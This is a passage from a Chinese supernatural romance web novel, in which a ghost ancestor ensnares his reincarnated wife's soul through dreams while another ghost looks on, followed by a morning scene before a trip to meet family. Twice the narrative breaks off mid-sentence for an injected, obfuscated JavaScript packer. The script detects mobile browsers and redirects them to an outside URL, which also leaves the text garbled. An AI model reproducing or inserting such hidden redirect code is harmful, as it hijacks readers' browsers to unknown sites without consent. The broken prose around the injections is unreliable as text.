他曲起一条手臂枕着,盯着那张嘟起的金鱼嘴,红艳艳的,下唇还有一排清晰齿痕没褪去,实在馋得很。但也知道她的体力确实到极限了,识相的没再闹她。 一如往常那般,贴过去搂着她聊闲天,酝酿睡意。 郑清如喜欢他的声音,语速不疾不徐,相较于行那事时的性-感又是另一番风味。 她眼睛亮亮地看着他,专心致志听他说年节之前这一阵子的安排,心想,过去不可追溯,唯有一件事可以确认,那就是她嫁了个天底下最好的儿郎。 他为人开明、心胸豁达、性格温柔,对她无有不依、关怀备至。 平素偶尔的摩擦,他也主动低头认错,并不与她计较恁多,也从没有因为这古怪的病症嫌弃她,使得两人的感情始终如一。 然则,这种分明是个活生生的人,但却不知前尘往事,又过不好当前眼下的滋味,委实太难受。 她比他更迫切的想要恢复记忆,想起那些恩爱甜蜜的日子。 而不是每次他问及,她都一脸懵,仿佛一个置身事外的闲人。 郑清如越想越愁闷,颓丧道:“来看诊的大夫们,还不晓得我脑子哪儿出毛病了吗?” 关于年前计划还没说完,就被迫中断。 作为一个优秀的丈夫,他必须先解答妻子的疑惑,尽管内心认为这个事情无关紧要。 “不是看不出,是你压根没有病。” “没病怎么会不记事?” 郑清如觉得他在唬人,“你曾说过,我是因为患病才失忆的。” “你早就痊愈了,如今身子的状况好得很,”他从善如流道,“伤筋动骨还要一百天,何况你伤在脑袋,更须慢慢来。” “大夫们怎么说?” “只说你太累了,多歇一阵子,自然而然就想起来了。” 郑清如轻咬下唇,还是纠结:“就没个准信儿么……” “治病这种事哪有准确的时机,你当大夫们是神仙,有通天的法力,随便捏个诀,说你几时痊愈你就几时痊愈?” 他指腹轻柔地绕着她太阳穴打转按摩,一对黑眸褪去情潮汹涌时的狠厉,多了几分少年纯净和脉脉情深。 “好了好了,别钻牛角尖了,小心待会儿又头疼。也怪我,不该引起这个话头。” “这不是钻牛角尖,是觉得可惜,竟连跟你在一起的那些日子都想不起来了……” 郑清如握住额角那只指头,希冀地问:“不如,你跟我讲讲呗。” “说来话长。现在这个点儿,天就快亮了,讲不完了。” “那……我往常是怎么称呼你的?这个总来得及说吧,”郑清如脑袋瓜一转,先选个简单地问,“我可不想下回又叫错了。” 同时她也好奇,不叫将军、主君、郎君一类的尊称,自己该怎么称呼他呢? “你平素最常唤我,明谦。”他执起她的手,一笔一划写在掌心,告诉她这次要记牢。 郑清如有些意外:“这、这样,不合规矩吧……” “你我之间,真心最重要,没有尊卑没有礼节,从来都是直唤彼此的小字。” 旋即,想起什么好玩儿的,他忽然笑出声:“当然,也有特殊时候。” “比如?”郑清如来精神了,重新趴回他胸膛上,背后的长发滑落至身前,发尾打着旋堆积在他脖颈处,挠得痒痒。 他撩起一缕,随意捻着、揉着,漫不经心把玩着,语调懒懒。 “比如……有求于我的时候会叫郎君,在外给我面子就尊称一声主君,生气就直接连名带姓地喊沈明谦。再比如……” 他觑她,蔫坏儿地乐:“方才那种情况下,实在受不住了要停,才会乖乖叫将军。” 声落,胸口立即挨了一拳,“沈明谦!” 被砸的人全然不觉得疼,笑得浑身颤抖,恨不得再给她的怒火添一把柴,连连说:“对,对对对,就是这副嚣张跋扈样儿。” 郑清如翻个白眼,无言以对。 她直觉被戏耍了,不服气地哼声,就要从他怀里翻出去。 结果这次没能如愿。 他先一步挤过来紧紧环住她,整张俊脸都埋入她最柔软的地方。 寝衣前襟大敞,他温热潮湿的鼻息喷洒在肌肤上,激起一层鸡皮疙瘩。 郑清如条件反射般举起手,欲推开沈明谦,可掌心搭在他肩头却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176558|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍得了,敏锐察觉出他此时此刻的依赖和脆弱。 她对他突然的情绪变化束手无措,视线迷茫地盯了一会儿纱幔,温吞道:“……明谦?” 一开口,他立即反应剧烈地环紧她的腰肢,恨不得把自己碾碎了填入她的心脏,牢牢占据一席之地。 郑清如无奈:“你别抱这么紧,我有点喘不上气了。” 偏他充耳不闻。 原本想着,算了,错便错罢。 拉她入梦已是不易,凡事不可操之过急。 但如今,听见这声苦寻千年的称呼,他的心事被勾动,忍不住泪如雨下,把头埋的更深一些,鼻尖抵着柔软月匈脯上,压出一道凹陷,哽咽癫狂地咕哝:“清如,清如清如,清如清如清如清如清如……” 郑清如:“怎么啦?” 怀中的男人抬起脸,五官仍是那副熟悉的五官,但却处处透着诡异。 青紫色的面皮上挂着湿漉水珠,经脉般粗犷的血丝爬满白眼珠,挤得瞳仁向上翻起,转瞬间变成豆大点,凝着猩红光斑。 “我们重新做一回夫妻,好不好?”他目眦欲裂地凝睇着她,为一个答案而偏执。 郑清如眨巴眨巴眼,并不害怕他这副模样,只是由心而生出一股凄凉惆怅。 她低头,亲了亲他冰凉的唇瓣,叹惋一声:“为了一段早就有结果的前世之缘,你何至于此啊。” 这一吻喷落的馨香堪比世上所有良药,沈明谦爽的浑身颤栗,瞳仁向后翻去,只余下一对眼白,上下牙也狂乱地碰撞:“我对你的一颗真心,天地可鉴,凭什么得不到成全。” “我那么、那么爱你,生也为你,死也为你,苦熬多年才守得你下凡为人,只做一世夫妻怎么能够?我誓要与你纠缠永生永世,哪怕天地覆灭也无法把我们分开。” “而你,除了爱我,无路可走。” “……” - 客厅钟表铛铛敲响六声。 书房门缝下的黑影一晃,雾团沿着砖缝往某处延伸,中途不经意看见什么,蓦地停滞。 眼瞅着快天亮了,沈绍元只想回到该回的地方躲着,没想到,刚从门缝里溜出来就撞破如此惊悚的一幕,空空如也的裤管在半空中荡来荡去,再也没办法往前飘动一步,看着卧室方向,满脸震惊。 ……难怪,今晚许菱烟自打进门开始,一直在念叨下雪了。 彼时沈绍元还纳闷,南方冬日本就鲜少有雪,更何况今年过节晚,入春之后,气候明显回暖,怎么可能冷到降雪的程度。 祖宗却不反驳,装作一副外面真就有暴风雪的样子,一味地升高空调温度。 甭说沈绍元一只鬼本就受不了热气,换成普通人来,也不指定受得了这样高的室温,待不了一会儿就得流鼻血了。 现在看来,下雪天对于他们而言,意义非凡,所以祖宗才会故意让她看见下雪,试图唤醒她的一部分记忆。 沈绍元对祖宗前尘往事并不知情,只猜出他心有不甘,否则也不会在人间久久徘徊,不愿也不肯离开。 因而,他以为排练表演、制作纸扎人、装扮婚房等等,甚至费尽心思与转世后的爱人再见,仅仅是为了圆一场未完的心愿。 最离谱不过是人鬼情未了的戏码。 待谈完情,了却遗憾,他自会离开,去往该去的地方。 当下此刻,眼前的景象全然颠覆了沈绍元的认知。 死人无法擅自插手活人的因果,哪怕地府的神官也没有这样的本领,但却有一招,能让活人主动进入圈套。 那便是做梦。 午夜梦回,人的魂魄离体,最接近生与死的界线。 可梦做多了,便会搅乱人的意识,分不清现实与虚幻,最后在失去意识的情况下,主动踏入混沌世界。 幸运的,可以通过现实中的人帮忙“叫魂”,把走失的魂魄叫回身体,再生一场大病,把邪气祛除。不幸的就只能被那些游魂蚕食,彻底消失于天地间。 很明显,许菱烟现在已经开始分不清现实与虚幻,甚至因为跟一只鬼有过太多次肌肤之亲,魂魄的力量正迅速衰败。 按这种趋势发展下去,哪怕发现及时,她的魂魄也很难被叫回来了。 想到这儿,沈绍元更是一惊。 原来如此。 原来如此!!! 从始至终,祖宗就没想过了却遗憾。他要她也变成不老不死不灭的玩意儿,以非人非鬼的方式,跟他彻底绑定在一起。 反正,魂魄离体之后什么都记不得,她只管生存在他精心编造的谎言和幻境中,与他做一对眷侣。 没有生老病死。 没有人情世故。 没有岁月无常。 这,才是真正的永恒不变。 31. 勾缠 客厅窗户没关严,黎明前一阵儿的春风吹进来,原本应该是和煦的,却无端惊起凌冽寒意。 沈绍元察觉到什么,身板僵直,脖颈一咔一咔地拧过去。 如浪花翻飞的窗帘后方,隐约可见一具身躯,高大壮硕。 很明显不是沈渠。 但,其它鬼没有这样的本事,可以悄无声息出现在沈渠的地盘。 沈绍元将手掌戳入空荡的胸腔内,使劲揉了两把,攒足劲,出声询问:“……祖宗?” 忽然又有一阵风掀开帘子,对方的长相彻底暴露于月光下。 是一张比他更年轻也更俊朗的面庞,五官立体,线条锋利,又因为完美继承家中女性长辈的优点,眉眼间添了几分柔媚,乍一瞧,倒有些雌雄莫辨的滋味。 哪怕死去太久导致面色青紫,双眼露出鬼相,仍能看出他活着时候的风采。 往那儿一立,极具震慑力。 沈绍元只在刚死去时见过一次他的真容,时隔久远,早就忘记了。 他恍惚一瞬,直至嗅到许菱烟魂魄的香味儿,才敢确认心里的猜想。 目瞪口呆地对望了一会儿,还是沈绍元先开口,声音磕磕绊绊地:“祖宗...?你,你你你,你竟有人样儿了!?” 没想到干那事的威力竟然这么大。 采阴补阳的方法果不欺人。 沈绍元欣喜若狂。 死去太久迟迟不能转世的魂魄,会逐渐变得混沌,最终完全消失。 祖宗在底下待了这么多年,非但没消亡,反倒变得更厉害了。 就算他恋爱脑一个,为了许菱烟不再回天上做神仙,以后也肯定是鬼界一把手,可以帮自己斩断前尘纠葛,重入轮回。 沈绍元越想越美,恨不得当即跪下给祖宗狠狠磕头,至于刚刚看见的、惊世骇俗的场面,在个人利益面前全被忘干净了。 将将往前飘了一段距离,他突觉不对,重新向那儿望去。 男人环抱双臂,表情淡淡,眼眸平静,却透露出野兽一般的凶性,死死盯住他,杀意横生。 霎时间,客厅内只听得见钟表滴答声。 两只鬼隔着茶几默然对视。 很快,沈绍元扛不住这股扑面而来的强大威压,率先败下阵来。他哆哆嗦嗦的连续打了好几个颤,迅速躲入旁边的阴影区,攀着沙发扶手,只露出一双眼,惶恐不安。 难不成,因为他不小心撞破祖宗的好事,就要被灭口了吧? 那也太惨了点…… 他还没活够,还有夙愿没完成。 所以还不能消失啊啊啊啊! 话又说回来了。 他出身于艮山沈氏,四舍五入算他们亲生的,祖宗怎么狠得下心? 再仔细一想,祖宗一向很嫌弃他。 鬼没有心,从不讲血脉亲缘、恩情义气,所以,他完全没有放他一马的理由。 感觉自己这回死定了,沈绍元悲从中来,边咯吱咯吱地磨牙,边嘤嘤嘤地啜泣。 由于情绪太激动,鬼相不可避免地露了出来。 他脑袋固定在一点,身体一百八十度旋转过去,仰躺在地,四肢抬起来直冲上方,像极了一只被麻绳绑住,紧紧拴在棍子上,以备祭祀所用的牲畜。 双眼用针线缝死,不留一条间隙。 耳鼻被割掉,留下鲜血淋漓的空洞。 四肢被折断,软绵绵的脱力,少部分骨头彻底折断,尖刺穿破皮肤。 自小腹起向上至喉管处划开一道又宽又深的口子,五脏六腑被挖的一干二净。 死状凄惨,令人发指。 窗外阴风大作,帘子胡乱拍打玻璃,客厅内所有的家居、摆件咣当作响。 呼啸寒风夹杂着凄厉的哭泣、尖锐的磨牙声,瘆得头皮发麻。 男人懒得理他,往旁边让了一步,避免衣服沾上他的血泪。 然后,抬头看向卧室。 这股风多少影响到室内的温度,妻子离开他的怀抱,身体立马重新蜷缩成一团,像只失去庇护所的孱弱动物。 睡着睡着,感觉到冷,她继续往被子里缩,也顾不上呼吸,把整颗头全埋进被子里,只留下泛着光泽宛如绸缎的黑长发。 男人蹙起眉,狠狠瞪向他,终于开了尊口,低斥:“闭嘴。” “嘤——?”沈绍元被吓得一哆嗦,条件反射捂紧嘴巴。 同一时刻,狂风也很识相的停止。 钟表指针卡顿一下,撤退一格后又开始疯狂急速逆时针转动。一圈、两圈、三圈……伴随一声脆响,玻璃裂开一条细细的纹路,报废了。 环境再度归于沉寂。 这一会儿功夫,沈绍元收起鬼相,揪着衣袖慢慢擦脸上的血泪,又悲惨又希冀地看着他。 月光照过来,男人脚下空空如也。 他走近,睨他一眼,“滚之前,东西留下。” ……东西? 什么东西? 沈绍元怔愣一秒,醒悟过来,赶紧说:“礼物放在书房了。” 男人得到答案,收回眼神,经过他往前走。 忽然,听见身后传来一道颤巍地声音,小心说:“敢问祖宗尊姓大名啊?” 在底下的时候,沈绍元只知道他姓沈,艮山沈氏是托他的福,得以发展成最有实力的一脉。 更多的,其他先祖死活不肯告诉他。 后来大家陆续了却尘世心愿,得到了转世的机会,仅剩他们两个相依为命。不过,沈绍元还是很难亲近他,平时都是孤孤零零的一只鬼待着。 多亏他机灵,邪门歪道也多,祖宗想和妻子再续前缘必然有用得着他的地方,有时候恼火归恼火,念及他还有利用价值,祖宗始终手下留情,没有真把他弄到灰飞烟灭。 如若不然,他就要在魂魄消散之前,先被亲祖宗灭口了。 想着想着,沈绍元一阵心酸,险些又掉眼泪。 他瘪嘴,仰头望天花板,强忍哭泣的冲动,一脸虔诚地道:“没有您就没有如今的艮山沈氏……您的大恩大德,后代永世难忘……哪怕我再度转世为人,也会记得为您立碑纪念……” 男人目光复杂,没吱声。 天际擦出一抹霞光,就快日出了。 沈绍元必须要离开了。 见注定等不到一个答案,他感觉可惜地叹口气,腰部以下逐渐化为烟雾,往客厅旁的卫生间蔓延,预备找个地漏溜走。 此时,男人突兀地开腔:“沈明谦。” 沈绍元一顿:“嗯?” “谦谦君子,卑以自牧。1” 他负手站在暗处,背影遗世独立,乍一瞧,竟显得比以往更容易接近。 “这名字是艮山一位德高望重的教书先生为我取的。明,意在明察秋毫、睿智。谦,意在低调守礼。是以,家族中的长辈们对我寄予厚望……” 随着沈明谦不疾不徐的语调,沈绍元眼前飞速闪过很多繁杂零碎的场景,掠过无痕,只留下无法言喻的浓烈愧疚。 甚至于…… 他隐约感觉祖宗的本名非常耳熟,仿佛很久很久之前,他还活着的时候便听说过了。或者,发生了什么与之相关的恐怖事情,才会给他留下难以磨灭的深刻印象。 但是……怎么会呢。 他们之间隔着的年代久远,如果他在活着的时候就跟祖宗有过交集,那他的死因也不用纠结了,肯定是被生生吓死的。 沈绍元晃晃脑袋,打消不像话的念头,恢复往常嬉皮笑脸的样子。 “放心吧祖宗,我保管记得清清楚楚,绝对不会忘。那您也甭忘了拉我一把,我再世为人才有机会为您立撰建碑作纪念嘛。” 说完,他的身体完全化为黑雾,分为丝丝缕缕的条状钻入地漏。 转瞬间,无影无踪。 沈明谦兀自在原地站了许久,眼底暗潮涌动。 紧闭的卧室门从内拉开,许菱烟没有穿鞋,光脚踩在地板上毫无声响。 她穿着不合身的男款棉质衣服,袖子和裤腿挽起一截,腰间却没办法扎起来,松松垮垮地挂在胯骨上,随时都有可能掉落。 这样具有私密性的一面,按照她的行事风格,绝对不会轻易展示给异性看,哪怕对方是她正在喜欢着的男人。 但她今晚偏偏不对他设防,宽松的衣领斜着向下滑落,露出嶙峋锁骨和又白又香的肩头,上面遍布星星点点的痕迹,暧昧至极。 因为某人的刻意遮掩,痕迹已经开始淡化,天亮之间就能全部消失。 许菱烟扶着门框,并没有擅自靠近男人,只一味地盯着他的背影看。 客厅窗帘敞开一侧,月光照进来,在地上斜割成明暗两片区域。他穿着与她相同款式的家居服,身形修长挺拔,气质清冷俊朗,宛如一座雪山屹立不倒。 恍惚间,有两张乍看不一样,细究却那么相似的脸,在许菱烟的眼前不停闪现,逐渐扭曲、重叠,分不清究竟谁是虚幻,谁是现实。 可她能做的,只有先抓住面前的人。 手探过去的同时,寂寥客厅内响起她惺忪的声线:“明谦。” “嗯。”沈明谦早就察觉到妻子的出现,转身回握住她的手,疼惜地捏了捏。 “刚刚,我好像听见你在和谁说话,但是家里除了我们,没有别人啊。”许菱烟十分困惑,清秀的眉尖蹙起,长发因为在被窝里滚过一圈,乱七八糟。 整个人的模样看起来无辜且柔软,很好欺负。 沈明谦动作轻柔地捋直发丝,摸摸她泛着潮热气的脸颊,视线在那张饱满的红唇上停留几秒,很努力才克制住亲吻的欲-念,说:“接了个电话,抱歉吵醒你了。” 许菱烟视线迷离,恍恍惚惚地应答:“这样啊……” “离天亮还有一会儿,再睡一觉吧。” 他口吻从容温柔,好似什么都没发生过一般,自然地揽过她肩头走回卧室,拿起柜子上的遥控器,升高空调温度。 一低头,发现她还在盯着他瞧,莞尔一笑:“怎么了?” 许菱烟摇摇头,表情落魄,形容不上来此刻的感觉。 因为夜晚过分安静,静到可以让她清晰听见自己堪称慌乱的心跳。就像,分明已经为逃开某人、某事付出她所有的一切努力,最终的结果仍然不乐观。 伴随失望而来的还有脱力感,压得她快喘不上气。 沈明谦嘴角一直噙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190871|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着笑,痴迷地盯着她,一寸一寸细致打量。 目光缓慢向下扫过,最终落在身前大片雪白干净的肌肤上,发现那儿的痕迹完全淡化消失,他眼底飞快闪过一丝不愉,指间夹着衣服,小心翼翼避开她的肌肤,拉拢领口。 “是不是做噩梦了?” 他循循善诱:“每次看你一副想哭的样子,就知道又梦见坏事了。” “……好像,是的。”许菱烟脑海里频闪着一些找不出规律的画面,根据造景判断,这场梦穿梭久远的年代,发生的故事酸涩到让她想要不管不顾放声痛哭一场。 他及时出现,把她从致命的幻想中解救出来。 许菱烟瘪了瘪嘴,依赖的投入沈明谦怀中,嗅着淡淡的檀香味儿,焦躁不安的心逐渐安定。 几乎在妻子靠近的同一秒,沈明谦便更大力的回抱住她,手掌不停来回抚摸她突起的脊骨,又碰一碰她泛凉的耳垂,另一只手向后穿入她乌黑长发间摩挲。 “别怕,我就在这儿守着你,不走。” 他掀开被子,躺下之后自如地敞开胸膛揽她入怀,轻轻拍着她的肩头,哄说:“踏实睡吧。” 许菱烟抬起头就看得见他棱角分明的下颚线,心尖没来由的被拨动了一下。她忍着羞怯,飞快凑近啄了一口他的嘴角,然后嗖得一下躲进他臂弯中,重新阖上双眼。 声如蚊蝇般哼哼:“晚安。” 沈明谦咽了咽喉咙,愉悦道:“晚安。” - 这一觉睡得太久,许菱烟醒来时还有点不知今夕是何年的迷离感。 在床上呆坐了良久,大脑还是一片空白。 她看着周围完全陌生的环境,有很长一阵子想不起来身在何处,严重怀疑把脑子睡坏了。 再打开手机看一眼时间,下午三点整。 许菱烟被唬一跳,印象中自己从来没有这么贪睡过,赶紧掀开被子换衣服。 刚褪去衣服,卧室门便被敲响,咚咚。 但外面没人吱声。 许菱烟反手系文胸扣子的动作一怔,警惕地回头看。 那扇门被反锁,四周封的严严实实,不留下一丝缝隙,所有钥匙全都放在门边的柜子上。可她总觉得有道视线正在贪婪地凝视她,令她毛骨悚然。 而房门盯久了难免幻视成怪物张开的巨口獠牙,一不留神就会被吞食。 似乎因为没听见有人起床的动静,敲门声暂止。 趁此机会,许菱烟赶快套上衣服,拿起手机要给朋友发送定位消息。 敲门声却再一次突兀响起。 这回有人说话了。 “菱烟,醒了吗?” 对方刻意压低声音,隔着厚实的木门听得不真切,许菱烟却很敏锐地辨认出是沈渠,浑浑噩噩的脑袋立即恢复几分,开始缓慢运转,昨晚发生的种种涌上来。 小沈先生难得抽出空约她见一面,结果临时有事先离开。吃完饭,雪还没停,因为不方便打车,沈渠出于善意,建议她在这儿留宿一晚,她答应了…… 还有,还有…… 在厨房里,灯光照得格外亮堂,所有激荡的情愫无所遁形。 失控的前一秒,他双臂微微用力,轻松抱她坐上大理石台。 勾缠的身影。 强硬的攻势。 他的鼻尖抵着她,虎口卡着下巴,不许她逃开。 随后,风狂雨骤一样的吻迅速卷走彼此的理智。 亲吻的窒息感令她头晕目眩,直到现在口腔内似乎还残留着檀香味儿。 许菱烟下意识捂住嘴,胸膛鼓胀,心脏快跳出嗓子眼。 她缓了缓心情,刚想回答,冷不丁被口水呛个正着,重新栽进被子里压抑着狼狈的咳嗽声,耳根烧得通红,更没办法说话了。 房间隔音效果很好,沈渠在外面听不见一点响动,有点儿担心许菱烟的情况,于是弯曲指节,连续轻叩门板。 “菱烟……?菱烟,该醒了,睡太久对身体不好。” 他的声量仍然很低,像怕打扰她,又像因为某事不得不打扰她。 果然,他停顿一下,说:“我们尽量赶在四点之前出门,别弄得太晚,否则路上开车不安全。” “咳咳……咳……” 好一阵才缓过劲儿,许菱烟揉了揉被咳红的脸颊,快速穿上外套,收拾干净床铺,走到门边刚要开锁,忽而想起还没洗漱,动作立即停下。 隔着门板,她问:“去哪儿?” “泉化市。昨晚我们商量好的,玩个一天两夜,再回来就过年了。” 许菱烟挠了挠头,闭起眼睛,很努力很努力地扒拉那些已经模糊褪色的片段回忆。 似乎、好像…… 大概、也许…… 确实有这一个环节。 彼时他们待在一起,先头做了什么记不清了,但残留的,令人窒息的缠绵颤栗感觉挥之不去,不必说明,肯定又是情侣之间的亲密。 而她大汗淋漓,枕在他怀中平复呼吸,意识游离,没怎么认真留心听他规划年前的安排,只记得最后他一脸认真地问她,和他一起回家乡待两天,见见长辈们,好不好。 她说:“好。” 32. 以退为进 许菱烟懊恼地锤了下头,昨晚真是糊涂了,见长辈可不是一件小事,怎么就轻易答应了呢。 她不是不愿意考虑和他的未来,但在没有准备周全的情况下谈这些,根本就是不负责任。 许菱烟焦急地绕着房间转了一圈,还是毫无办法。 表面板上钉钉的事儿,临出发前她却突然变卦,不管怎么解释,都有戏弄人家感情的嫌疑。 唉…… 说一万道一千,全是她的不对。 平时办事挺周到的一个人,怎么谈一场恋爱就把脑袋谈糊涂了。 许菱烟愁得很,又不能一辈子把自己反锁在沈渠的卧室里。 她叹口气,有种作茧自缚的感觉,含糊地应道:“我先洗漱,马上就来了。” “好。”门外响起一阵拖鞋声,由近及远。 许菱烟心烦意乱的,刷牙的时候错把牙膏挤成洗面奶,塞进嘴里,慢半拍咂摸出泡沫气味不对,赶紧拧开水龙头,接水漱口。 一阵兵荒马乱之后,嘴巴里仍然充斥着洗面奶的水果味,她往脸上狂扑几捧凉水,想用这种方法使头脑冷静,可一颗心却跳得更加剧烈。 许菱烟拧紧阀门,抬头望向镜子里一张湿漉、狼狈的脸,眼神顺着滚落的水珠下移,停在昨晚沈渠忘记拿走的剃须刀上,渐渐走神。 人在感情浓度最高时最怕受打击,尤其这种诚恳邀请对方进入自己人生下一阶段的时刻,一旦被拒绝,很容易丧失信心。 依照沈渠一贯的和善脾气,被拒绝肯定不会埋怨她,只会认为自己还不够格被她承认,然后一个人默默咽掉失落,装作若无其事的样子。 但以后,他绝对不会轻易对她开口了。 这不是许菱烟想要的。 再者,话又说回来。 见家长并非沈渠的一时兴起。 许菱烟早就旁敲侧击地问过他,节前要不要抽空到家里做客,和她的父母吃一顿便饭。 沈渠当场眼圈就红了,哽咽不已。 他强忍着没掉眼泪,生怕她随时收走这个机会一般,忙不迭说:“没问题,我随时有空。” 除去表白那次,许菱烟再没见过沈渠展露出破碎的一面,配上他一张得天独厚的斯文皮囊,眼眶、鼻头一红,眼泪要掉不掉的样子,怪惹人怜惜。 许菱烟就很难狠心说不了。 况且,那之后,沈渠还专门向许菱烟非常详细的了解了二老的喜恶,认认真真准备一大堆礼物。 只不过,因为这阵子爸妈赶往外地拜访一位旧友还没赶回来,他们暂时没能见上面。 或许正因此,他才想着,要不就先带她回去一趟。 按照流程,双方的父母必然都得见,先后顺序反而没那么重要了。 认真思考过后,许菱烟终于下定决心。 她从柜子里取出一根新的一次性牙刷,再度拧开水龙头,开始专心洗漱。 - 走出卧室是十五分钟之后了。 门一开,清香的粥味儿从厨房飘出来,溢满整间客厅。 许菱烟肚子里的馋虫被勾动,循着香味走去,结果发现满满一茶几的礼品盒。 桌上面积太小,另一部分整齐罗列在地上,口服补品、按摩椅、丝巾首饰……各式各样,应有尽有。 沈渠系着围裙,双手戴着隔热手套,端了一盘清蒸龙虾,热切地招呼她来吃今天的第一顿饭。 许菱烟站在餐桌边,瞅着豪华的五菜一粥,震惊到嘴巴半晌没合拢,甚至忘记问沈渠,买那么多的礼品要干什么用。 “这么丰盛,全都是你做的吗?” 沈渠颔首,脸上浮现出几分得意,身后仿佛有一条无形的尾巴翘高,不停摇摆,暗自期待妻子的夸赞。 “做这些很费事吧。” 许菱烟讶然:“你多早起来的?” 不知道是房子的隔音效果太好,还是她真就睡得沉,竟然一点儿动静都没听见。 “不费事。”他说。 “正常时间点醒的。我生物钟很准时,不管多累,再迟一秒都睡不着,”他拉开椅子,示意她落座,拿汤勺盛一碗蔬菜粥,放到她面前,“小心,别被烫到。” “谢谢。”许菱烟从沈渠手里接过瓷勺。 短暂的指尖接触,令她的心脏被烫到似的,猛然蜷缩起来。 两人已经谈了有段时间,情浓时再亲密的行为也有过,可她仍然无法抵抗不经意间的接触,浑身过电一样酥麻,难为情极了。 他自然没有错过她的羞赧,愉悦地眯起双眼,并没点破暧昧,缓和气氛道:“快尝尝味道是不是你喜欢的。” 许菱烟低头吹了吹,吞下一口,清淡的蔬菜香还带着海鲜咸甜,滋味比预想中还要好。 喝完之后,许菱烟没忍住又盛了一碗,温热的粥顺着咽喉流入胃部,好像有一股火焰堆积在小腹,烧得她身体快速变暖。 瞅见沈渠一直在忙着剥虾壳,她拎起汤勺也要给他盛一碗,却被他阻止。 “我已经吃过了,不饿。” “哦……” 许菱烟继续一个人默默喝粥吃菜。 不多时,旁边碟子中已经堆了一小山的龙虾肉。 沈渠摘掉一次性手套,端着装满海鲜壳子的盆走进厨房。 倒掉垃圾,把塑料盆洗干净放在沥水架子上,他拧开水龙头,重新仔仔细细洗一遍双手,然后取出事先准备好的一只样式精美的碟子,熟练的调好蘸料,放到许菱烟手边。 许菱烟嘴里含着东西,模糊不清地说声谢谢。 本以为他要回卧室收拾行李,结果他重新坐下,什么也不干,专注地看她吃饭,一双眼乌黑发亮,充满浓浓的趣味。 似乎对他来说,这才是全天下最有兴致的事。 被盯着的许菱烟如芒刺在背,但在人家的家里,吃着人家做的饭,这会儿开口让人家走开,未免太不礼貌。 许菱烟压力倍增,调整姿势坐得笔直。 因为注意力都在旁边的人身上,生怕吃相难看,会扣掉自己在他心中的印象分,她每次只往嘴里塞一点点食物,咀嚼的幅度变小,小鸡啄食一样。 面前一桌子的美食反倒没什么滋味了。 注意到妻子的拘谨,作为一个合格的丈夫,沈渠再不舍得也得及时离开。 反手推开椅子起身的同时,他耳朵敏锐捕捉到妻子如释重负般的呼气,嘴角便也跟着轻轻翘了一下,“海鲜要趁热吃。” 许菱烟频频点头,特别殷勤地夸赞:“你手艺真好。” 沈渠顺势说:“以后天天给你做。” 这话听起来颇有深意,许菱烟原本满心欢愉的和沈渠聊天,却在当下这一刻,因为他这一句联想到关于两人的未来,思绪莫名停顿一秒。而在人生大事上,作为主角之一,她稍微犹疑一刹就全变味儿了。 沈渠正在收拾昨晚睡觉盖过的被子,并没有看向餐厅的方向,面容温柔沉静,好像没注意许菱烟那片刻的迟钝。 放在沙发边儿上的枕头不小心被弄掉,他弯腰去捡的时候,额前碎发随着动作垂落,遮住眉眼。 周身增添了一丝让人看不穿的深谙。 见状,许菱烟懊恼至极。 她不清楚自己究竟怎么了,一觉醒来之后,明明内心对他的依恋感变得更强烈,身体却总唱反调,下意识做出一些无法解释的抵抗。 赶在他走进卧室之前,她叫住他,语气迫切的像要证明什么。 “我吃饱了,这就收拾桌子洗碗,你也快去整理行李。现在三点四十分,我们争取十分钟之内弄完,还来得及出门。” “来不及就不去了。” 沈渠接过碗筷,放进水池槽,返回许菱烟身边落座。 她瞧一眼他的表情,跟以往没什么区别,却无端扼住她的呼吸,心头涌入一股微妙的不忍。 思忖一会儿,她主动引起话题:“……生气了?” “没有。” 沈渠的态度干脆,也很坦荡,“昨天确实是我冲动了,不该在那种情况下逼你做选择。依你的作风,肯定希望做好万全准备之后再跟我回去。” “不过以防万一,我还是做了两手打算。” “如果你愿意去,那些礼品你随便挑几样带上,是我根据老人喜好买的,绝对不会出错。” “如果你不愿意也没关系,老家只有外婆在,其他人得等春节前夕才回,所以大家暂时还不知道我谈恋爱了,带你回去这件事没有惊动任何人,自然也不会损害你的形象。” 不管怎么样,他都不想她因为这么一件小事不开心,佯装淡然地笑一笑,抬手摸上她的脸颊,收着力气轻捏拉扯,故意逗人。 他指头的水渍已经擦干净了,但温度还是凉。 她被冻了个激灵,两手合拢包住他的,缓慢揉搓暖和。 低头时有一缕发丝垂落,遮去她一侧脸颊,光线投落在白皙的面皮上形成明暗两界,衬得她美好的不真实。 沈渠呼吸凝滞一刹,指尖蜷缩,蹭了蹭许菱烟温软的掌心,“怎么不说话?” 许菱烟犹犹豫豫地开口:“我没有不想去,就是……有点紧张。” “为什么会紧张?” 沈渠恰当的表现出不解,“我自认为已经把所有事情都安排好了,还有什么是我没做到又令你不安的,告诉我,我去处理,好吗?” “跟你没关系,是我的问题。” 她睫毛扑腾,澄澈的眸底倒映着心上人的脸庞,努力向他找求同感,“假设换成你跟我回故乡见亲朋好友,你紧不紧张?” 沈渠一顿,似乎后知后觉回过味儿,很难违心地微收下颌,“嗯……确实。” “那就对了嘛。” 许菱烟垮着眉,嘴巴又嘟起来,忧心忡忡道:“本来就心里没底,上门的礼物还都是由你准备的,我更心虚了。” 